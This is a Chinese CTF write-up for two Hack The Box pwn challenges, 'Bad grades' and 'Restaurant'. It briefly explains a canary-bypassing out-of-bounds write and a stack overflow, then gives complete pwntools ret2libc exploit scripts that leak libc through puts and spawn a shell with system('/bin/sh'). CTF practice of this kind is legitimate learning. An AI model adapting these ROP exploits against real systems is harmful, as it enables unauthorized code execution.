HTB pwn Bad gradesRestaurant

Bad grades

没有开启ASLR
在这里插入图片描述
在功能2存在越界写,虽然有canary但是可以通过输入’-'绕过。
输入数据可以利用python的struct解包成双精度浮点数,做了这些就是常规的ROP环节了。

exp

from pwn import *
def gd():
 gdb.attach(p)
 pause()
def htd(hex_value):
    binary = hex_value.to_bytes(8, 'big')
    double_value = struct.unpack('!d', binary)[0]
    return double_value 
#p = process("./bad_grades")
p = remote('83.136.251.235',31126)
elf = ELF("./bad_grades")
libc = ELF("./libc.so.6")
pop_rdi = 0x0000000000401263
pop_rsi = 0x0000000000401261
vuln_func = 0x400FD5
ret_addr = 0x0000000000400666
p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b': ')
p.sendline(str(39).encode())
for i in range(35):
 p.sendline(b'-')
p.sendline(str(htd(pop_rdi)).encode()) 
p.sendline(str(htd(elf.got['exit'])).encode()) 
p.sendline(str(htd(elf.plt['puts'])).encode()) 
p.sendline(str(htd(vuln_func)).encode()) 
p.recvuntil(b'Your new average is: ')
p.recvline()
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - libc.sym['exit']
sys_addr = libc_base + libc.sym['system']
sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
p.recvuntil(b': ')
p.sendline(str(39).encode())
for i in range(35):
 p.sendline(b'-')
p.sendline(str(htd(pop_rdi)).encode()) 
p.sendline(str(htd(sh_addr)).encode()) 
p.sendline(str(htd(ret_addr)).encode()) 
p.sendline(str(htd(sys_addr)).encode()) 
#gd()
p.interactive() 

成功拿到shell提交flag
在这里插入图片描述

Restaurant

没有开启ASLR
在这里插入图片描述
在fill功能下存在栈溢出和上一题同理直接打ROP就行。

exp

from pwn import *
def gd():
 gdb.attach(p)
 pause()
#p = process("./restaurant")
p = remote('94.237.56.188',33958)
elf = ELF("./restaurant")
libc = ELF("./libc.so.6")
ret_addr = 0x000000000040063e
pop_rdi = 0x00000000004010a3
vuln_func = 0x000000000400E4A
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'> ')
#gd()
p.sendline(b'a' * 0x28 + p64(pop_rdi) + p64(elf.got['exit']) + p64(elf.plt['puts']) + p64(vuln_func))
p.recvuntil(b'a' * 0x28) 
p.recv(3)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - libc.sym['exit']
sys_addr = libc_base + libc.sym['system']
sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
print(hex(libc_base))
p.recvuntil(b'> ')
p.sendline(b'a' * 0x28 + p64(pop_rdi) + p64(sh_addr) + p64(ret_addr) + p64(sys_addr))
p.interactive() 

成功拿到shell提交flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/398430.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

使用 Nginx 将部署多个子域名http服务重定向到https服务

首先在阿里云解析对应的子域名 打开自己的域名解析 点击添加记录 然后在nginx的配置文件下新增以下内容 # ssl证书地址,是你自己服务器上证书存放的地址 ssl_certificate /ssl/fullchain.cer; ssl_certificate_key /ssl/cert.key;#请按照以下协议配置 ssl_protocols…

JS基础(语法结构变量数据类型运算符流程控制)

JS基础(语法结构/变量/数据类型/运算符/流程控制) 目录 JS基础(语法结构/变量/数据类型/运算符/流程控制)什么是js?注释语法语法结构引入方式【1】script标签内部直接书写js代码【2】script标签src属性引入外部js代码 JS基础数据类型变量与常量变量的定义常量的定义…

OpenHarmony JS和TS三方组件使用指导

OpenHarmony JS和TS三方组件介绍 OpenHarmony JS和TS三方组件使用的是OpenHarmony静态共享包,即HAR(Harmony Archive),可以包含js/ts代码、c库、资源和配置文件。通过HAR,可以实现多个模块或者多个工程共享ArkUI组件、资源等相关代码。HAR不…

calcite在flink中的二次开发,介绍解析器与优化器

calcite 在flink中的二次开发 1 CodeGen2 flink 语法扩展2.1 在进行 Rule 规则匹配时,放开对 Distinct 的限制2.2下面附上一个 利用codegen来生成所需类的例子: 3 flink使用calcite 生成解析器FlinkSqlParserImpl3.1 FlinkSqlParserImpl 的生成3.1.1 fli…

[SwiftUI]启动页LaunchScreen.storyboard中适配状态栏加安全区域的高度

如下图,我有一个需求。在启动页(LaunchScreen.storyboard)和引导页(GuideView)的黑色背景上,使用了同一张正方形图片。要求从启动页切换到引导页时,这两张相同的图片的过渡要无缝衔接&#xff0…

redis的缓存穿透,缓存并发,缓存雪崩,缓存问题及解决方案

缓存穿透 问题原因 解决方案 缓存并发 缓存雪崩 缓存失效时间设置一致导致的。 解决方案: 1)方案一 2)方案二 如何设计一个缓存策略,缓存热点数据?

【2024年湖北二建报考条件解析】不限专业,满足条件就能参加考试

【2024年湖北二建报考条件解析】不限专业,满足条件就能参加考试 2024年湖北二建报考疑问汇总,就近报考轻松搞定! 2024年湖北省二级建造师/二建报考重点梳理 2024年湖北二建网上报名时间2月28号-3月12日。想要考二建的老铁千万不要错过一年一…

Centos安装图形化桌面环境

1.使用root远程登录最小化安装的虚拟机 2.执行命令yum groupinstall "X Window System" 这是安装窗口系统 3.执行命令yum grouplist" 检查安装的软件可可以安装的软件 4.执行命令yum groupinstall "Server with GUI" 这是安装图形化界面 5.执行命令sy…

Vision Transfomer系列第二节---Tricks测试

目录 学习式和固定式位置编码测试dropout的作用测试block深度的作用测试embeding维度大小的作用测试多头的作用测试Overlap Patch的作用 学习式和固定式位置编码测试 主要测试无位置编码\可学习位置编码和固定式位置编码的训练效果: 其中固定式位置编码采用之前博客的正余弦位…

组件嵌套-传递参数

组件嵌套 这里的嵌套,就相当于不同的界面组合进在外层的root界面。每个部分都是独立的。 数据传递(父→子) 理论上通过props可以传递任何类型的数据,需要注意的是,子组件可以接收父组件的值,不能父组件接收…

缓存驱动联邦学习架构赋能个性化边缘智能 | TMC 2024

缓存驱动联邦学习架构赋能个性化边缘智能 | TMC 2024 伴随着移动设备的普及与终端数据的爆炸式增长,边缘智能(Edge Intelligence, EI)逐渐成为研究领域的前沿。在这一浪潮中,联邦学习(Federated Learning, FL&#xf…

Java学习小记——设计模式

设计模式 设计模式简介Singleton模式Singleton模式简介Singleton的创建双重锁模式Double checked locking作为Java类的静态变量 变继承关系为组合关系组合模式装饰器模式 如何创建对象抽象工厂模式 设计模式简介 设计模式(Design pattern)代表了最佳的实…

C# OpenCvSharp DNN Low Light image Enhancement

目录 介绍 效果 模型信息 项目 代码 下载 C# OpenCvSharp DNN Low Light image Enhancement 介绍 github地址:https://github.com/zhenqifu/PairLIE 效果 模型信息 Model Properties ------------------------- ------------------------------------------…

Maven的初步认识

Maven 1,Maven 简介 Maven是Apache软件基金会的一个开源项目,是一个优秀的项目构建工具,他用来帮助开发者管理项目中的jar包以及jar之间的依赖关系,完成项目的编译,测试,打包发布等工作. Maven中的概念 pom(Project Object Model 项目对象模型) maven 管理项目的根目录下 都…

WebRTC最新版报错解决:FileNotFoundError: LASTCHANGE.committime (二十五)

简介: CSDN博客专家,专注Android/Linux系统,分享多mic语音方案、音视频、编解码等技术,与大家一起成长! 优质专栏:Audio工程师进阶系列【原创干货持续更新中……】🚀 优质专栏:多媒体系统工程师系列【原创干货持续更新中……】🚀 人生格言: 人生从来没有捷径,只…

【k8s初始化过程解析】

k8s初始化过程解析 [rootk8s-master ~]# kubeadm init –apiserver-advertise-address10.10.10.100 –image-repository registry.aliyuncs.com/google_containers –kubernetes-version v1.25.0 –service-cidr10.1.0.0/16 –pod-network-cidr10.2.0.0/16 –cri-socket …

PDF文件格式(二):交叉引用类型“O“

PDF交叉引用类型有三种:“n”,"f","o";前两种比较常见,本文介绍第三种“o”类型。 type为"o"类型的引用在PDF文件中不能够直接找到对应的obj,它被以压缩的形式内嵌在其他的obj内,因此此类型的引用…

GitCode配置ssh

下载SSH windows设置里选“应用” 选“可选功能” 添加功能 安装这个 坐等安装,安装好后可以关闭设置。 运行 打开cmd 执行如下指令,启动SSH服务。 net start sshd设置开机自启动 把OpenSSH服务添加到Windows自启动服务中,可避免每…

Sora会“杀死”剪映吗?

图片来源:pexels ▎留给张一鸣和张楠的时间不多了。 Sora的横空出世,对张一鸣来说,亦喜亦忧。 被OpenAI的ChatGPT震撼过一轮的AI大模型行业,又一次被这家公司推出的首个视频生成模型Sora震撼了一把。 不同于Runway、Pika等仅能生成不足10秒&…

Linux——信号(3)

经过前两部分的介绍,我们现在已经认识了信号是如何产生的,并且知道无 论信号是如何产生的,最终只能由操作系统来对特定进程发送信号,而发送 信号其实也就是写信号,往内核数据结构(pending表)中写…